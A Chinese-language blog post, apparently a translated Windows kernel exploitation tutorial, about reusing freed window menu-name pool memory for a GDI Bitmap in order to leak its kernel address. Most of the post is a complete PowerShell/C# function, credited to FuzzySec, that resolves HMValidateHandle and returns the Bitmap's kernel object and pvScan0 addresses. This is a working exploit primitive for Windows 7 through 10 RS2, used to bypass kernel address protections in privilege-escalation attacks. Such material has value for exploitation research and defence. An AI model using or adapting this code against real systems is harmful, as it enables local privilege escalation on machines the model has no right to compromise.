返回介绍

UAF Bitmap

发布于 2025-01-03 23:32:57 字数 8164 浏览 0 评论 0 收藏 0

我猜想读者的问题依然是为什么要去关心这些 Window 对象?我的 Bitmap 在哪儿?其实,Window 菜单名称(lpszMenuName)和 bitmap 一样,都分配在同一个内核池中。我们可以分配一个较大的 Window 菜单名称并释放它,此后分配我们的 Bitmap 就可以重用这段内存了(挖坑到占坑)。这看起来有点巧妙,但是如果我们可以让菜单名称超过 4kb 的话,他就会用尽低熵大内存池来保证我们的 UAF 泄露百分百可靠。这一过程和在 RS1 中使用 Accelerator Tables 绕过是一致的。

下面的图片阐释了这一过程。

该 PowerShell 函数写在下方。更多的细节请参考我的 PSKernel-Primitives repo。

function Stage-HmValidateHandleBitmap {
<#
.SYNOPSIS
  Universal x64 Bitmap leak using HmValidateHandle.
  Targets: 7, 8, 8.1, 10, 10 RS1, 10 RS2
  Resources:
    + Win32k Dark Composition: Attacking the Shadow part of Graphic subsystem <= 360Vulcan
    + LPE vulnerabilities exploitation on Windows 10 Anniversary Update <= Drozdov Yurii & Drozdova Liudmila
 
.DESCRIPTION
  Author: Ruben Boonen (@FuzzySec)
  License: BSD 3-Clause
  Required Dependencies: None
  Optional Dependencies: None
 
.EXAMPLE
  PS C:\Users\b33f> Stage-HmValidateHandleBitmap |fl
   
  BitmapKernelObj : -7692235059200
  BitmappvScan0   : -7692235059120
  BitmapHandle  : 1845828432
   
  PS C:\Users\b33f> $Manager = Stage-HmValidateHandleBitmap
  PS C:\Users\b33f> "{0:X}" -f $Manager.BitmapKernelObj
  FFFFF901030FF000
#>
  Add-Type -TypeDefinition @"
  using System;
  using System.Diagnostics;
  using System.Runtime.InteropServices;
  using System.Security.Principal;
   
  public class HmValidateHandleBitmap
  {   
    delegate IntPtr WndProc(
      IntPtr hWnd,
      uint msg,
      IntPtr wParam,
      IntPtr lParam);
   
    [StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
    struct WNDCLASS
    {
      public uint style;
      public IntPtr lpfnWndProc;
      public int cbClsExtra;
      public int cbWndExtra;
      public IntPtr hInstance;
      public IntPtr hIcon;
      public IntPtr hCursor;
      public IntPtr hbrBackground;
      [MarshalAs(UnmanagedType.LPWStr)]
      public string lpszMenuName;
      [MarshalAs(UnmanagedType.LPWStr)]
      public string lpszClassName;
    }
   
    [DllImport("user32.dll")]
    static extern System.UInt16 RegisterClassW(
      [In] ref WNDCLASS lpWndClass);
   
    [DllImport("user32.dll")]
    public static extern IntPtr CreateWindowExW(
      UInt32 dwExStyle,
      [MarshalAs(UnmanagedType.LPWStr)]
      string lpClassName,
      [MarshalAs(UnmanagedType.LPWStr)]
      string lpWindowName,
      UInt32 dwStyle,
      Int32 x,
      Int32 y,
      Int32 nWidth,
      Int32 nHeight,
      IntPtr hWndParent,
      IntPtr hMenu,
      IntPtr hInstance,
      IntPtr lpParam);
   
    [DllImport("user32.dll")]
    static extern System.IntPtr DefWindowProcW(
      IntPtr hWnd,
      uint msg,
      IntPtr wParam,
      IntPtr lParam);
   
    [DllImport("user32.dll")]
    public static extern bool DestroyWindow(
      IntPtr hWnd);
   
    [DllImport("user32.dll")]
    public static extern bool UnregisterClass(
      String lpClassName,
      IntPtr hInstance);
   
    [DllImport("kernel32",CharSet=CharSet.Ansi)]
    public static extern IntPtr LoadLibrary(
      string lpFileName);
   
    [DllImport("kernel32",CharSet=CharSet.Ansi,ExactSpelling=true)]
    public static extern IntPtr GetProcAddress(
      IntPtr hModule,
      string procName);
   
    public delegate IntPtr HMValidateHandle(
      IntPtr hObject,
      int Type);
   
    [DllImport("gdi32.dll")]
    public static extern IntPtr CreateBitmap(
      int nWidth,
      int nHeight,
      uint cPlanes,
      uint cBitsPerPel,
      IntPtr lpvBits);
   
    public UInt16 CustomClass(string class_name, string menu_name)
    {
      m_wnd_proc_delegate = CustomWndProc;
      WNDCLASS wind_class = new WNDCLASS();
      wind_class.lpszClassName = class_name;
      wind_class.lpszMenuName = menu_name;
      wind_class.lpfnWndProc = System.Runtime.InteropServices.Marshal.GetFunctionPointerForDelegate(m_wnd_proc_delegate);
      return RegisterClassW(ref wind_class);
    }
   
    private static IntPtr CustomWndProc(IntPtr hWnd, uint msg, IntPtr wParam, IntPtr lParam)
    {
      return DefWindowProcW(hWnd, msg, wParam, lParam);
    }
   
    private WndProc m_wnd_proc_delegate;
  }
"@
   
  #------------------[Create/Destroy Window]
  # Call nonstatic public method => delegWndProc
  $AtomCreate = New-Object HmValidateHandleBitmap
   
  function Create-WindowObject {
    $MenuBuff = "A"*0x8F0
    $hAtom = $AtomCreate.CustomClass("BitmapStager",$MenuBuff)
    [HmValidateHandleBitmap]::CreateWindowExW(0,"BitmapStager",[String]::Empty,0,0,0,0,0,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero,[IntPtr]::Zero)
  }
   
  function Destroy-WindowObject {
    param ($Handle)
    $CallResult = [HmValidateHandleBitmap]::DestroyWindow($Handle)
    $CallResult = [HmValidateHandleBitmap]::UnregisterClass("BitmapStager",[IntPtr]::Zero)
  }
   
  #------------------[Cast HMValidateHandle]
  function Cast-HMValidateHandle {
    $hUser32 = [HmValidateHandleBitmap]::LoadLibrary("user32.dll")
    $lpIsMenu = [HmValidateHandleBitmap]::GetProcAddress($hUser32, "IsMenu")
     
    # Get HMValidateHandle pointer
    for ($i=0;$i-lt50;$i++) {
      if ($([System.Runtime.InteropServices.Marshal]::ReadByte($lpIsMenu.ToInt64()+$i)) -eq 0xe8) {
        $HMValidateHandleOffset = [System.Runtime.InteropServices.Marshal]::ReadInt32($lpIsMenu.ToInt64()+$i+1)
        [IntPtr]$lpHMValidateHandle = $lpIsMenu.ToInt64() + $i + 5 + $HMValidateHandleOffset
      }
    }
   
    if ($lpHMValidateHandle) {
      # Cast IntPtr to delegate
      [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($lpHMValidateHandle,[HmValidateHandleBitmap+HMValidateHandle])
    }
  }
   
  #------------------[lpszMenuName Leak]
  function Leak-lpszMenuName {
    param($WindowHandle)
    $OSVersion = [Version](Get-WmiObject Win32_OperatingSystem).Version
    $OSMajorMinor = "$($OSVersion.Major).$($OSVersion.Minor)"
    if ($OSMajorMinor -eq "10.0" -And $OSVersion.Build -ge 15063) {
      $pCLSOffset = 0xa8
      $lpszMenuNameOffset = 0x90
    } else {
      $pCLSOffset = 0x98
      $lpszMenuNameOffset = 0x88
    }
   
    # Cast HMValidateHandle & get window desktop heap pointer
    $HMValidateHandle = Cast-HMValidateHandle
    $lpUserDesktopHeapWindow = $HMValidateHandle.Invoke($WindowHandle,1)
   
    # Calculate ulClientDelta & leak lpszMenuName
    $ulClientDelta = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+0x20) - $lpUserDesktopHeapWindow.ToInt64()
    $KerneltagCLS = [System.Runtime.InteropServices.Marshal]::ReadInt64($lpUserDesktopHeapWindow.ToInt64()+$pCLSOffset)
    [System.Runtime.InteropServices.Marshal]::ReadInt64($KerneltagCLS-$ulClientDelta+$lpszMenuNameOffset)
  }
   
  #------------------[Bitmap Leak]
  $KernelArray = @()
  for ($i=0;$i -lt 20;$i++) {
    $TestWindowHandle = Create-WindowObject
    $KernelArray += Leak-lpszMenuName -WindowHandle $TestWindowHandle
    if ($KernelArray.Length -gt 1) {
      if ($KernelArray[$i] -eq $KernelArray[$i-1]) {
        Destroy-WindowObject -Handle $TestWindowHandle
        [IntPtr]$Buffer = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(0x50*2*4)
        $BitmapHandle = [HmValidateHandleBitmap]::CreateBitmap(0x701, 2, 1, 8, $Buffer) # +4 kb size
        break
      }
    }
    Destroy-WindowObject -Handle $TestWindowHandle
  }
   
  $BitMapObject = @()
  $HashTable = @{
    BitmapHandle = $BitmapHandle
    BitmapKernelObj = $($KernelArray[$i])
    BitmappvScan0 = $KernelArray[$i] + 0x50
  }
  $Object = New-Object PSObject -Property $HashTable
  $BitMapObject += $Object
  $BitMapObject
}

快速运行一下。

SURFOBJ 结构体是如此的明显,我们甚至无需给出任何符号就可以说明这一次的泄露是成功的。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文